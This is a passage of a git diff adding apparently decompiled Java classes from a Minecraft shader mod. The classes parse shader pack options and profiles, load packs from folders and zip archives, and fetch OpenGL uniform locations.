+    
+    return parts;
+  }
+}
diff --git a/src/minecraft/shadersmod/client/ShaderOptionVariableConst.java b/src/minecraft/shadersmod/client/ShaderOptionVariableConst.java
new file mode 100644
index 0000000..77484ec
--- /dev/null
+++ b/src/minecraft/shadersmod/client/ShaderOptionVariableConst.java
@@ -0,0 +1,72 @@
+package shadersmod.client;
+
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+import optifine.StrUtils;
+
+public class ShaderOptionVariableConst
+  extends ShaderOptionVariable
+{
+  private String type = null;
+  private static final Pattern PATTERN_CONST = Pattern.compile("^\\s*const\\s*(float|int)\\s*([A-Za-z0-9_]+)\\s*=\\s*(-?[0-9\\.]+f?F?)\\s*;\\s*(//.*)?$");
+  
+  public ShaderOptionVariableConst(String name, String type, String description, String value, String[] values, String path)
+  {
+    super(name, description, value, values, path);
+    this.type = type;
+  }
+  
+  public String getSourceLine()
+  {
+    return "const " + type + " " + getName() + " = " + getValue() + "; // Shader option " + getValue();
+  }
+  
+  public boolean matchesLine(String line)
+  {
+    Matcher m = PATTERN_CONST.matcher(line);
+    
+    if (!m.matches())
+    {
+      return false;
+    }
+    
+
+    String defName = m.group(2);
+    return defName.matches(getName());
+  }
+  
+
+  public static ShaderOption parseOption(String line, String path)
+  {
+    Matcher m = PATTERN_CONST.matcher(line);
+    
+    if (!m.matches())
+    {
+      return null;
+    }
+    
+
+    String type = m.group(1);
+    String name = m.group(2);
+    String value = m.group(3);
+    String description = m.group(4);
+    String vals = StrUtils.getSegment(description, "[", "]");
+    
+    if ((vals != null) && (vals.length() > 0))
+    {
+      description = description.replace(vals, "").trim();
+    }
+    
+    String[] values = parseValues(value, vals);
+    
+    if ((name != null) && (name.length() > 0))
+    {
+      path = StrUtils.removePrefix(path, "/shaders/");
+      ShaderOptionVariableConst so = new ShaderOptionVariableConst(name, type, description, value, values, path);
+      return so;
+    }
+    
+
+    return null;
+  }
+}
diff --git a/src/minecraft/shadersmod/client/ShaderPackDefault.java b/src/minecraft/shadersmod/client/ShaderPackDefault.java
new file mode 100644
index 0000000..178d837
--- /dev/null
+++ b/src/minecraft/shadersmod/client/ShaderPackDefault.java
@@ -0,0 +1,23 @@
+package shadersmod.client;
+
+import java.io.InputStream;
+
+public class ShaderPackDefault implements IShaderPack {
+  public ShaderPackDefault() {}
+  
+  public void close() {}
+  
+  public InputStream getResourceAsStream(String resName) {
+    return ShaderPackDefault.class.getResourceAsStream(resName);
+  }
+  
+  public String getName()
+  {
+    return Shaders.packNameDefault;
+  }
+  
+  public boolean hasDirectory(String name)
+  {
+    return false;
+  }
+}
diff --git a/src/minecraft/shadersmod/client/ShaderPackFolder.java b/src/minecraft/shadersmod/client/ShaderPackFolder.java
new file mode 100644
index 0000000..7b48271
--- /dev/null
+++ b/src/minecraft/shadersmod/client/ShaderPackFolder.java
@@ -0,0 +1,45 @@
+package shadersmod.client;
+
+import java.io.BufferedInputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.InputStream;
+import optifine.StrUtils;
+
+public class ShaderPackFolder
+  implements IShaderPack
+{
+  protected File packFile;
+  
+  public ShaderPackFolder(String name, File file)
+  {
+    packFile = file;
+  }
+  
+  public void close() {}
+  
+  public InputStream getResourceAsStream(String resName)
+  {
+    try
+    {
+      String excp = StrUtils.removePrefixSuffix(resName, "/", "/");
+      File resFile = new File(packFile, excp);
+      return !resFile.exists() ? null : new BufferedInputStream(new FileInputStream(resFile));
+    }
+    catch (Exception var4) {}
+    
+    return null;
+  }
+  
+
+  public boolean hasDirectory(String name)
+  {
+    File resFile = new File(packFile, name.substring(1));
+    return !resFile.exists() ? false : resFile.isDirectory();
+  }
+  
+  public String getName()
+  {
+    return packFile.getName();
+  }
+}
diff --git a/src/minecraft/shadersmod/client/ShaderPackNone.java b/src/minecraft/shadersmod/client/ShaderPackNone.java
new file mode 100644
index 0000000..d96eaf6
--- /dev/null
+++ b/src/minecraft/shadersmod/client/ShaderPackNone.java
@@ -0,0 +1,23 @@
+package shadersmod.client;
+
+import java.io.InputStream;
+
+public class ShaderPackNone implements IShaderPack {
+  public ShaderPackNone() {}
+  
+  public void close() {}
+  
+  public InputStream getResourceAsStream(String resName) {
+    return null;
+  }
+  
+  public boolean hasDirectory(String name)
+  {
+    return false;
+  }
+  
+  public String getName()
+  {
+    return Shaders.packNameNone;
+  }
+}
diff --git a/src/minecraft/shadersmod/client/ShaderPackParser.java b/src/minecraft/shadersmod/client/ShaderPackParser.java
new file mode 100644
index 0000000..25c5f8b
--- /dev/null
+++ b/src/minecraft/shadersmod/client/ShaderPackParser.java
@@ -0,0 +1,555 @@
+package shadersmod.client;
+
+import java.io.BufferedReader;
+import java.io.ByteArrayInputStream;
+import java.io.CharArrayReader;
+import java.io.CharArrayWriter;
+import java.io.IOException;
+import java.io.InputStream;
+import java.io.InputStreamReader;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.Comparator;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Iterator;
+import java.util.List;
+import java.util.Map;
+import java.util.Properties;
+import java.util.Set;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+import optifine.Config;
+import optifine.StrUtils;
+
+
+public class ShaderPackParser
+{
+  private static final Pattern PATTERN_INCLUDE = Pattern.compile("^\\s*#include\\s+\"([A-Za-z0-9_/\\.]+)\".*$");
+  private static final Set<String> setConstNames = makeSetConstNames();
+  
+  public ShaderPackParser() {}
+  
+  public static ShaderOption[] parseShaderPackOptions(IShaderPack shaderPack, String[] programNames, List<Integer> listDimensions) { if (shaderPack == null)
+    {
+      return new ShaderOption[0];
+    }
+    
+
+    HashMap mapOptions = new HashMap();
+    collectShaderOptions(shaderPack, "/shaders", programNames, mapOptions);
+    Iterator options = listDimensions.iterator();
+    
+    while (options.hasNext())
+    {
+      int sos = ((Integer)options.next()).intValue();
+      String comp = "/shaders/world" + sos;
+      collectShaderOptions(shaderPack, comp, programNames, mapOptions);
+    }
+    
+    Collection options1 = mapOptions.values();
+    ShaderOption[] sos1 = (ShaderOption[])options1.toArray(new ShaderOption[options1.size()]);
+    Comparator comp1 = new Comparator()
+    {
+      public int compare(ShaderOption o1, ShaderOption o2)
+      {
+        return o1.getName().compareToIgnoreCase(o2.getName());
+      }
+      
+      public int compare(Object x0, Object x1) {
+        return compare((ShaderOption)x0, (ShaderOption)x1);
+      }
+    };
+    Arrays.sort(sos1, comp1);
+    return sos1;
+  }
+  
+
+  private static void collectShaderOptions(IShaderPack shaderPack, String dir, String[] programNames, Map<String, ShaderOption> mapOptions)
+  {
+    for (int i = 0; i < programNames.length; i++)
+    {
+      String programName = programNames[i];
+      
+      if (!programName.equals(""))
+      {
+        String vsh = dir + "/" + programName + ".vsh";
+        String fsh = dir + "/" + programName + ".fsh";
+        collectShaderOptions(shaderPack, vsh, mapOptions);
+        collectShaderOptions(shaderPack, fsh, mapOptions);
+      }
+    }
+  }
+  
+  private static void collectShaderOptions(IShaderPack sp, String path, Map<String, ShaderOption> mapOptions)
+  {
+    String[] lines = getLines(sp, path);
+    
+    for (int i = 0; i < lines.length; i++)
+    {
+      String line = lines[i];
+      ShaderOption so = getShaderOption(line, path);
+      
+      if ((so != null) && ((!so.checkUsed()) || (isOptionUsed(so, lines))))
+      {
+        String key = so.getName();
+        ShaderOption so2 = (ShaderOption)mapOptions.get(key);
+        
+        if (so2 != null)
+        {
+          if (!Config.equals(so2.getValueDefault(), so.getValueDefault()))
+          {
+            Config.warn("Ambiguous shader option: " + so.getName());
+            Config.warn(" - in " + Config.arrayToString(so2.getPaths()) + ": " + so2.getValueDefault());
+            Config.warn(" - in " + Config.arrayToString(so.getPaths()) + ": " + so.getValueDefault());
+            so2.setEnabled(false);
+          }
+          
+          if ((so2.getDescription() == null) || (so2.getDescription().length() <= 0))
+          {
+            so2.setDescription(so.getDescription());
+          }
+          
+          so2.addPaths(so.getPaths());
+        }
+        else
+        {
+          mapOptions.put(key, so);
+        }
+      }
+    }
+  }
+  
+  private static boolean isOptionUsed(ShaderOption so, String[] lines)
+  {
+    for (int i = 0; i < lines.length; i++)
+    {
+      String line = lines[i];
+      
+      if (so.isUsedInLine(line))
+      {
+        return true;
+      }
+    }
+    
+    return false;
+  }
+  
+  private static String[] getLines(IShaderPack sp, String path)
+  {
+    try
+    {
+      String e = loadFile(path, sp, 0);
+      
+      if (e == null)
+      {
+        return new String[0];
+      }
+      
+
+      ByteArrayInputStream is = new ByteArrayInputStream(e.getBytes());
+      return Config.readLines(is);
+
+    }
+    catch (IOException var5)
+    {
+
+      Config.dbg(var5.getClass().getName() + ": " + var5.getMessage()); }
+    return new String[0];
+  }
+  
+
+  private static ShaderOption getShaderOption(String line, String path)
+  {
+    ShaderOption so = null;
+    
+    if (so == null)
+    {
+      so = ShaderOptionSwitch.parseOption(line, path);
+    }
+    
+    if (so == null)
+    {
+      so = ShaderOptionVariable.parseOption(line, path);
+    }
+    
+    if (so != null)
+    {
+      return so;
+    }
+    
+
+    if (so == null)
+    {
+      so = ShaderOptionSwitchConst.parseOption(line, path);
+    }
+    
+    if (so == null)
+    {
+      so = ShaderOptionVariableConst.parseOption(line, path);
+    }
+    
+    return (so != null) && (setConstNames.contains(so.getName())) ? so : null;
+  }
+  
+
+  private static Set<String> makeSetConstNames()
+  {
+    HashSet set = new HashSet();
+    set.add("shadowMapResolution");
+    set.add("shadowDistance");
+    set.add("shadowIntervalSize");
+    set.add("generateShadowMipmap");
+    set.add("generateShadowColorMipmap");
+    set.add("shadowHardwareFiltering");
+    set.add("shadowHardwareFiltering0");
+    set.add("shadowHardwareFiltering1");
+    set.add("shadowtex0Mipmap");
+    set.add("shadowtexMipmap");
+    set.add("shadowtex1Mipmap");
+    set.add("shadowcolor0Mipmap");
+    set.add("shadowColor0Mipmap");
+    set.add("shadowcolor1Mipmap");
+    set.add("shadowColor1Mipmap");
+    set.add("shadowtex0Nearest");
+    set.add("shadowtexNearest");
+    set.add("shadow0MinMagNearest");
+    set.add("shadowtex1Nearest");
+    set.add("shadow1MinMagNearest");
+    set.add("shadowcolor0Nearest");
+    set.add("shadowColor0Nearest");
+    set.add("shadowColor0MinMagNearest");
+    set.add("shadowcolor1Nearest");
+    set.add("shadowColor1Nearest");
+    set.add("shadowColor1MinMagNearest");
+    set.add("wetnessHalflife");
+    set.add("drynessHalflife");
+    set.add("eyeBrightnessHalflife");
+    set.add("centerDepthHalflife");
+    set.add("sunPathRotation");
+    set.add("ambientOcclusionLevel");
+    set.add("superSamplingLevel");
+    set.add("noiseTextureResolution");
+    return set;
+  }
+  
+  public static ShaderProfile[] parseProfiles(Properties props, ShaderOption[] shaderOptions)
+  {
+    String PREFIX_PROFILE = "profile.";
+    ArrayList list = new ArrayList();
+    Set keys = props.keySet();
+    Iterator profs = keys.iterator();
+    
+    while (profs.hasNext())
+    {
+      String key = (String)profs.next();
+      
+      if (key.startsWith(PREFIX_PROFILE))
+      {
+        String name = key.substring(PREFIX_PROFILE.length());
+        props.getProperty(key);
+        HashSet parsedProfiles = new HashSet();
+        ShaderProfile p = parseProfile(name, props, parsedProfiles, shaderOptions);
+        
+        if (p != null)
+        {
+          list.add(p);
+        }
+      }
+    }
+    
+    if (list.size() <= 0)
+    {
+      return null;
+    }
+    
+
+    ShaderProfile[] profs1 = (ShaderProfile[])list.toArray(new ShaderProfile[list.size()]);
+    return profs1;
+  }
+  
+
+  private static ShaderProfile parseProfile(String name, Properties props, Set<String> parsedProfiles, ShaderOption[] shaderOptions)
+  {
+    String PREFIX_PROFILE = "profile.";
+    String key = PREFIX_PROFILE + name;
+    
+    if (parsedProfiles.contains(key))
+    {
+      Config.warn("[Shaders] Profile already parsed: " + name);
+      return null;
+    }
+    
+
+    parsedProfiles.add(name);
+    ShaderProfile prof = new ShaderProfile(name);
+    String val = props.getProperty(key);
+    String[] parts = Config.tokenize(val, " ");
+    
+    for (int i = 0; i < parts.length; i++)
+    {
+      String part = parts[i];
+      
+      if (part.startsWith(PREFIX_PROFILE))
+      {
+        String tokens = part.substring(PREFIX_PROFILE.length());
+        ShaderProfile option = parseProfile(tokens, props, parsedProfiles, shaderOptions);
+        
+        if (prof != null)
+        {
+          prof.addOptionValues(option);
+          prof.addDisabledPrograms(option.getDisabledPrograms());
+        }
+      }
+      else
+      {
+        String[] var16 = Config.tokenize(part, ":=");
+        
+
+        if (var16.length == 1)
+        {
+          String var17 = var16[0];
+          boolean value = true;
+          
+          if (var17.startsWith("!"))
+          {
+            value = false;
+            var17 = var17.substring(1);
+          }
+          
+          String so = "program.";
+          
+          if ((!value) && (var17.startsWith("program.")))
+          {
+            String var20 = var17.substring(so.length());
+            
+            if (!Shaders.isProgramPath(var20))
+            {
+              Config.warn("Invalid program: " + var20 + " in profile: " + prof.getName());
+            }
+            else
+            {
+              prof.addDisabledProgram(var20);
+            }
+          }
+          else
+          {
+            ShaderOption so1 = ShaderUtils.getShaderOption(var17, shaderOptions);
+            
+            if (!(so1 instanceof ShaderOptionSwitch))
+            {
+              Config.warn("[Shaders] Invalid option: " + var17);
+            }
+            else
+            {
+              prof.addOptionValue(var17, String.valueOf(value));
+              so1.setVisible(true);
+            }
+          }
+        }
+        else if (var16.length != 2)
+        {
+          Config.warn("[Shaders] Invalid option value: " + part);
+        }
+        else
+        {
+          String var17 = var16[0];
+          String var18 = var16[1];
+          ShaderOption var19 = ShaderUtils.getShaderOption(var17, shaderOptions);
+          
+          if (var19 == null)
+          {
+            Config.warn("[Shaders] Invalid option: " + part);
+          }
+          else if (!var19.isValidValue(var18))
+          {
+            Config.warn("[Shaders] Invalid value: " + part);
+          }
+          else
+          {
+            var19.setVisible(true);
+            prof.addOptionValue(var17, var18);
+          }
+        }
+      }
+    }
+    
+    return prof;
+  }
+  
+
+  public static Map<String, ShaderOption[]> parseGuiScreens(Properties props, ShaderProfile[] shaderProfiles, ShaderOption[] shaderOptions)
+  {
+    HashMap map = new HashMap();
+    parseGuiScreen("screen", props, map, shaderProfiles, shaderOptions);
+    return map.isEmpty() ? null : map;
+  }
+  
+  private static boolean parseGuiScreen(String key, Properties props, Map<String, ShaderOption[]> map, ShaderProfile[] shaderProfiles, ShaderOption[] shaderOptions)
+  {
+    String val = props.getProperty(key);
+    
+    if (val == null)
+    {
+      return false;
+    }
+    
+
+    ArrayList list = new ArrayList();
+    HashSet setNames = new HashSet();
+    String[] opNames = Config.tokenize(val, " ");
+    
+    for (int scrOps = 0; scrOps < opNames.length; scrOps++)
+    {
+      String opName = opNames[scrOps];
+      
+      if (opName.equals("<empty>"))
+      {
+        list.add(null);
+      }
+      else if (setNames.contains(opName))
+      {
+        Config.warn("[Shaders] Duplicate option: " + opName + ", key: " + key);
+      }
+      else
+      {
+        setNames.add(opName);
+        
+        if (opName.equals("<profile>"))
+        {
+          if (shaderProfiles == null)
+          {
+            Config.warn("[Shaders] Option profile can not be used, no profiles defined: " + opName + ", key: " + key);
+          }
+          else
+          {
+            ShaderOptionProfile so = new ShaderOptionProfile(shaderProfiles, shaderOptions);
+            list.add(so);
+          }
+        }
+        else if (opName.equals("*"))
+        {
+          ShaderOptionRest var14 = new ShaderOptionRest("<rest>");
+          list.add(var14);
+        }
+        else if ((opName.startsWith("[")) && (opName.endsWith("]")))
+        {
+          String var16 = StrUtils.removePrefixSuffix(opName, "[", "]");
+          
+          if (!var16.matches("^[a-zA-Z0-9_]+$"))
+          {
+            Config.warn("[Shaders] Invalid screen: " + opName + ", key: " + key);
+          }
+          else if (!parseGuiScreen("screen." + var16, props, map, shaderProfiles, shaderOptions))
+          {
+            Config.warn("[Shaders] Invalid screen: " + opName + ", key: " + key);
+          }
+          else
+          {
+            ShaderOptionScreen optionScreen = new ShaderOptionScreen(var16);
+            list.add(optionScreen);
+          }
+        }
+        else
+        {
+          ShaderOption var15 = ShaderUtils.getShaderOption(opName, shaderOptions);
+          
+          if (var15 == null)
+          {
+            Config.warn("[Shaders] Invalid option: " + opName + ", key: " + key);
+            list.add(null);
+          }
+          else
+          {
+            var15.setVisible(true);
+            list.add(var15);
+          }
+        }
+      }
+    }
+    
+    ShaderOption[] var13 = (ShaderOption[])list.toArray(new ShaderOption[list.size()]);
+    map.put(key, var13);
+    return true;
+  }
+  
+  public static BufferedReader resolveIncludes(BufferedReader reader, String filePath, IShaderPack shaderPack, int includeLevel)
+    throws IOException
+  {
+    String fileDir = "/";
+    int pos = filePath.lastIndexOf("/");
+    
+    if (pos >= 0)
+    {
+      fileDir = filePath.substring(0, pos);
+    }
+    
+    CharArrayWriter caw = new CharArrayWriter();
+    
+    for (;;)
+    {
+      String car = reader.readLine();
+      
+      if (car == null)
+      {
+        CharArrayReader car1 = new CharArrayReader(caw.toCharArray());
+        return new BufferedReader(car1);
+      }
+      
+      Matcher m = PATTERN_INCLUDE.matcher(car);
+      
+      if (m.matches())
+      {
+        String fileInc = m.group(1);
+        boolean absolute = fileInc.startsWith("/");
+        String filePathInc = fileDir + "/" + fileInc;
+        car = loadFile(filePathInc, shaderPack, includeLevel);
+        
+        if (car == null)
+        {
+          throw new IOException("Included file not found: " + filePath);
+        }
+      }
+      
+      caw.write(car);
+      caw.write("\n");
+    }
+  }
+  
+  private static String loadFile(String filePath, IShaderPack shaderPack, int includeLevel) throws IOException
+  {
+    if (includeLevel >= 10)
+    {
+      throw new IOException("#include depth exceeded: " + includeLevel + ", file: " + filePath);
+    }
+    
+
+    includeLevel++;
+    InputStream in = shaderPack.getResourceAsStream(filePath);
+    
+    if (in == null)
+    {
+      return null;
+    }
+    
+
+    InputStreamReader isr = new InputStreamReader(in, "ASCII");
+    BufferedReader br = new BufferedReader(isr);
+    br = resolveIncludes(br, filePath, shaderPack, includeLevel);
+    CharArrayWriter caw = new CharArrayWriter();
+    
+    for (;;)
+    {
+      String line = br.readLine();
+      
+      if (line == null)
+      {
+        return caw.toString();
+      }
+      
+      caw.write(line);
+      caw.write("\n");
+    }
+  }
+}
diff --git a/src/minecraft/shadersmod/client/ShaderPackZip.java b/src/minecraft/shadersmod/client/ShaderPackZip.java
new file mode 100644
index 0000000..ca4e731
--- /dev/null
+++ b/src/minecraft/shadersmod/client/ShaderPackZip.java
@@ -0,0 +1,81 @@
+package shadersmod.client;
+
+import java.io.File;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.zip.ZipEntry;
+import java.util.zip.ZipFile;
+import optifine.StrUtils;
+
+public class ShaderPackZip
+  implements IShaderPack
+{
+  protected File packFile;
+  protected ZipFile packZipFile;
+  
+  public ShaderPackZip(String name, File file)
+  {
+    packFile = file;
+    packZipFile = null;
+  }
+  
+  public void close()
+  {
+    if (packZipFile != null)
+    {
+      try
+      {
+        packZipFile.close();
+      }
+      catch (Exception localException) {}
+      
+
+
+
+      packZipFile = null;
+    }
+  }
+  
+  public InputStream getResourceAsStream(String resName)
+  {
+    try
+    {
+      if (packZipFile == null)
+      {
+        packZipFile = new ZipFile(packFile);
+      }
+      
+      String excp = StrUtils.removePrefix(resName, "/");
+      ZipEntry entry = packZipFile.getEntry(excp);
+      return entry == null ? null : packZipFile.getInputStream(entry);
+    }
+    catch (Exception var4) {}
+    
+    return null;
+  }
+  
+
+  public boolean hasDirectory(String resName)
+  {
+    try
+    {
+      if (packZipFile == null)
+      {
+        packZipFile = new ZipFile(packFile);
+      }
+      
+      String e = StrUtils.removePrefix(resName, "/");
+      ZipEntry entry = packZipFile.getEntry(e);
+      return entry != null;
+    }
+    catch (IOException var4) {}
+    
+    return false;
+  }
+  
+
+  public String getName()
+  {
+    return packFile.getName();
+  }
+}
diff --git a/src/minecraft/shadersmod/client/ShaderProfile.java b/src/minecraft/shadersmod/client/ShaderProfile.java
new file mode 100644
index 0000000..3a7dc4d
--- /dev/null
+++ b/src/minecraft/shadersmod/client/ShaderProfile.java
@@ -0,0 +1,84 @@
+package shadersmod.client;
+
+import java.util.Collection;
+import java.util.HashMap;
+import java.util.HashSet;
+import java.util.Map;
+import java.util.Set;
+
+public class ShaderProfile
+{
+  private String name = null;
+  private Map<String, String> mapOptionValues = new HashMap();
+  private Set<String> disabledPrograms = new HashSet();
+  
+  public ShaderProfile(String name)
+  {
+    this.name = name;
+  }
+  
+  public String getName()
+  {
+    return name;
+  }
+  
+  public void addOptionValue(String option, String value)
+  {
+    mapOptionValues.put(option, value);
+  }
+  
+  public void addOptionValues(ShaderProfile prof)
+  {
+    if (prof != null)
+    {
+      mapOptionValues.putAll(mapOptionValues);
+    }
+  }
+  
+  public void applyOptionValues(ShaderOption[] options)
+  {
+    for (int i = 0; i < options.length; i++)
+    {
+      ShaderOption so = options[i];
+      String key = so.getName();
+      String val = (String)mapOptionValues.get(key);
+      
+      if (val != null)
+      {
+        so.setValue(val);
+      }
+    }
+  }
+  
+  public String[] getOptions()
+  {
+    Set keys = mapOptionValues.keySet();
+    String[] opts = (String[])keys.toArray(new String[keys.size()]);
+    return opts;
+  }
+  
+  public String getValue(String key)
+  {
+    return (String)mapOptionValues.get(key);
+  }
+  
+  public void addDisabledProgram(String program)
+  {
+    disabledPrograms.add(program);
+  }
+  
+  public Collection<String> getDisabledPrograms()
+  {
+    return new HashSet(disabledPrograms);
+  }
+  
+  public void addDisabledPrograms(Collection<String> programs)
+  {
+    disabledPrograms.addAll(programs);
+  }
+  
+  public boolean isProgramDisabled(String program)
+  {
+    return disabledPrograms.contains(program);
+  }
+}
diff --git a/src/minecraft/shadersmod/client/ShaderProgramData.java b/src/minecraft/shadersmod/client/ShaderProgramData.java
new file mode 100644
index 0000000..d929df9
--- /dev/null
+++ b/src/minecraft/shadersmod/client/ShaderProgramData.java
@@ -0,0 +1,161 @@
+package shadersmod.client;
+
+import org.lwjgl.opengl.ARBShaderObjects;
+
+public class ShaderProgramData
+{
+  public int programIDGL;
+  public int uniform_texture;
+  public int uniform_lightmap;
+  public int uniform_normals;
+  public int uniform_specular;
+  public int uniform_shadow;
+  public int uniform_watershadow;
+  public int uniform_shadowtex0;
+  public int uniform_shadowtex1;
+  public int uniform_depthtex0;
+  public int uniform_depthtex1;
+  public int uniform_shadowcolor;
+  public int uniform_shadowcolor0;
+  public int uniform_shadowcolor1;
+  public int uniform_noisetex;
+  public int uniform_gcolor;
+  public int uniform_gdepth;
+  public int uniform_gnormal;
+  public int uniform_composite;
+  public int uniform_gaux1;
+  public int uniform_gaux2;
+  public int uniform_gaux3;
+  public int uniform_gaux4;
+  public int uniform_colortex0;
+  public int uniform_colortex1;
+  public int uniform_colortex2;
+  public int uniform_colortex3;
+  public int uniform_colortex4;
+  public int uniform_colortex5;
+  public int uniform_colortex6;
+  public int uniform_colortex7;
+  public int uniform_gdepthtex;
+  public int uniform_depthtex2;
+  public int uniform_tex;
+  public int uniform_heldItemId;
+  public int uniform_heldBlockLightValue;
+  public int uniform_fogMode;
+  public int uniform_fogColor;
+  public int uniform_skyColor;
+  public int uniform_worldTime;
+  public int uniform_moonPhase;
+  public int uniform_frameTimeCounter;
+  public int uniform_sunAngle;
+  public int uniform_shadowAngle;
+  public int uniform_rainStrength;
+  public int uniform_aspectRatio;
+  public int uniform_viewWidth;
+  public int uniform_viewHeight;
+  public int uniform_near;
+  public int uniform_far;
+  public int uniform_sunPosition;
+  public int uniform_moonPosition;
+  public int uniform_upPosition;
+  public int uniform_previousCameraPosition;
+  public int uniform_cameraPosition;
+  public int uniform_gbufferModelView;
+  public int uniform_gbufferModelViewInverse;
+  public int uniform_gbufferPreviousProjection;
+  public int uniform_gbufferProjection;
+  public int uniform_gbufferProjectionInverse;
+  public int uniform_gbufferPreviousModelView;
+  public int uniform_shadowProjection;
+  public int uniform_shadowProjectionInverse;
+  public int uniform_shadowModelView;
+  public int uniform_shadowModelViewInverse;
+  public int uniform_wetness;
+  public int uniform_eyeAltitude;
+  public int uniform_eyeBrightness;
+  public int uniform_eyeBrightnessSmooth;
+  public int uniform_terrainTextureSize;
+  public int uniform_terrainIconSize;
+  public int uniform_isEyeInWater;
+  public int uniform_hideGUI;
+  public int uniform_centerDepthSmooth;
+  public int uniform_atlasSize;
+  
+  public ShaderProgramData(int programID)
+  {
+    programIDGL = programID;
+    uniform_texture = ARBShaderObjects.glGetUniformLocationARB(programID, "texture");
+    uniform_lightmap = ARBShaderObjects.glGetUniformLocationARB(programID, "lightmap");
+    uniform_normals = ARBShaderObjects.glGetUniformLocationARB(programID, "normals");
+    uniform_specular = ARBShaderObjects.glGetUniformLocationARB(programID, "specular");
+    uniform_shadow = ARBShaderObjects.glGetUniformLocationARB(programID, "shadow");
+    uniform_watershadow = ARBShaderObjects.glGetUniformLocationARB(programID, "watershadow");
+    uniform_shadowtex0 = ARBShaderObjects.glGetUniformLocationARB(programID, "shadowtex0");
+    uniform_shadowtex1 = ARBShaderObjects.glGetUniformLocationARB(programID, "shadowtex1");
+    uniform_depthtex0 = ARBShaderObjects.glGetUniformLocationARB(programID, "depthtex0");
+    uniform_depthtex1 = ARBShaderObjects.glGetUniformLocationARB(programID, "depthtex1");
+    uniform_shadowcolor = ARBShaderObjects.glGetUniformLocationARB(programID, "shadowcolor");
+    uniform_shadowcolor0 = ARBShaderObjects.glGetUniformLocationARB(programID, "shadowcolor0");
+    uniform_shadowcolor1 = ARBShaderObjects.glGetUniformLocationARB(programID, "shadowcolor1");
+    uniform_noisetex = ARBShaderObjects.glGetUniformLocationARB(programID, "noisetex");
+    uniform_gcolor = ARBShaderObjects.glGetUniformLocationARB(programID, "gcolor");
+    uniform_gdepth = ARBShaderObjects.glGetUniformLocationARB(programID, "gdepth");
+    uniform_gnormal = ARBShaderObjects.glGetUniformLocationARB(programID, "gnormal");
+    uniform_composite = ARBShaderObjects.glGetUniformLocationARB(programID, "composite");
+    uniform_gaux1 = ARBShaderObjects.glGetUniformLocationARB(programID, "gaux1");
+    uniform_gaux2 = ARBShaderObjects.glGetUniformLocationARB(programID, "gaux2");
+    uniform_gaux3 = ARBShaderObjects.glGetUniformLocationARB(programID, "gaux3");
+    uniform_gaux4 = ARBShaderObjects.glGetUniformLocationARB(programID, "gaux4");
+    uniform_colortex0 = ARBShaderObjects.glGetUniformLocationARB(programID, "colortex0");
+    uniform_colortex1 = ARBShaderObjects.glGetUniformLocationARB(programID, "colortex1");
+    uniform_colortex2 = ARBShaderObjects.glGetUniformLocationARB(programID, "colortex2");
+    uniform_colortex3 = ARBShaderObjects.glGetUniformLocationARB(programID, "colortex3");
+    uniform_colortex4 = ARBShaderObjects.glGetUniformLocationARB(programID, "colortex4");
+    uniform_colortex5 = ARBShaderObjects.glGetUniformLocationARB(programID, "colortex5");
+    uniform_colortex6 = ARBShaderObjects.glGetUniformLocationARB(programID, "colortex6");
+    uniform_colortex7 = ARBShaderObjects.glGetUniformLocationARB(programID, "colortex7");
+    uniform_gdepthtex = ARBShaderObjects.glGetUniformLocationARB(programID, "gdepthtex");
+    uniform_depthtex2 = ARBShaderObjects.glGetUniformLocationARB(programID, "depthtex2");
+    uniform_tex = ARBShaderObjects.glGetUniformLocationARB(programID, "tex");
+    uniform_heldItemId = ARBShaderObjects.glGetUniformLocationARB(programID, "heldItemId");
+    uniform_heldBlockLightValue = ARBShaderObjects.glGetUniformLocationARB(programID, "heldBlockLightValue");
+    uniform_fogMode = ARBShaderObjects.glGetUniformLocationARB(programID, "fogMode");
+    uniform_fogColor = ARBShaderObjects.glGetUniformLocationARB(programID, "fogColor");
+    uniform_skyColor = ARBShaderObjects.glGetUniformLocationARB(programID, "skyColor");
+    uniform_worldTime = ARBShaderObjects.glGetUniformLocationARB(programID, "worldTime");
+    uniform_moonPhase = ARBShaderObjects.glGetUniformLocationARB(programID, "moonPhase");
+    uniform_frameTimeCounter = ARBShaderObjects.glGetUniformLocationARB(programID, "frameTimeCounter");
+    uniform_sunAngle = ARBShaderObjects.glGetUniformLocationARB(programID, "sunAngle");
+    uniform_shadowAngle = ARBShaderObjects.glGetUniformLocationARB(programID, "shadowAngle");
+    uniform_rainStrength = ARBShaderObjects.glGetUniformLocationARB(programID, "rainStrength");
+    uniform_aspectRatio = ARBShaderObjects.glGetUniformLocationARB(programID, "aspectRatio");
+    uniform_viewWidth = ARBShaderObjects.glGetUniformLocationARB(programID, "viewWidth");
+    uniform_viewHeight = ARBShaderObjects.glGetUniformLocationARB(programID, "viewHeight");
+    uniform_near = ARBShaderObjects.glGetUniformLocationARB(programID, "near");
+    uniform_far = ARBShaderObjects.glGetUniformLocationARB(programID, "far");
+    uniform_sunPosition = ARBShaderObjects.glGetUniformLocationARB(programID, "sunPosition");
+    uniform_moonPosition = ARBShaderObjects.glGetUniformLocationARB(programID, "moonPosition");
+    uniform_upPosition = ARBShaderObjects.glGetUniformLocationARB(programID, "upPosition");
+    uniform_previousCameraPosition = ARBShaderObjects.glGetUniformLocationARB(programID, "previousCameraPosition");
+    uniform_cameraPosition = ARBShaderObjects.glGetUniformLocationARB(programID, "cameraPosition");
+    uniform_gbufferModelView = ARBShaderObjects.glGetUniformLocationARB(programID, "gbufferModelView");
+    uniform_gbufferModelViewInverse = ARBShaderObjects.glGetUniformLocationARB(programID, "gbufferModelViewInverse");
+    uniform_gbufferPreviousProjection = ARBShaderObjects.glGetUniformLocationARB(programID, "gbufferPreviousProjection");
+    uniform_gbufferProjection = ARBShaderObjects.glGetUniformLocationARB(programID, "gbufferProjection");
+    uniform_gbufferProjectionInverse = ARBShaderObjects.glGetUniformLocationARB(programID, "gbufferProjectionInverse");
+    uniform_gbufferPreviousModelView = ARBShaderObjects.glGetUniformLocationARB(programID, "gbufferPreviousModelView");
+    uniform_shadowProjection = ARBShaderObjects.glGetUniformLocationARB(programID, "shadowProjection");
+    uniform_shadowProjectionInverse = ARBShaderObjects.glGetUniformLocationARB(programID, "shadowProjectionInverse");
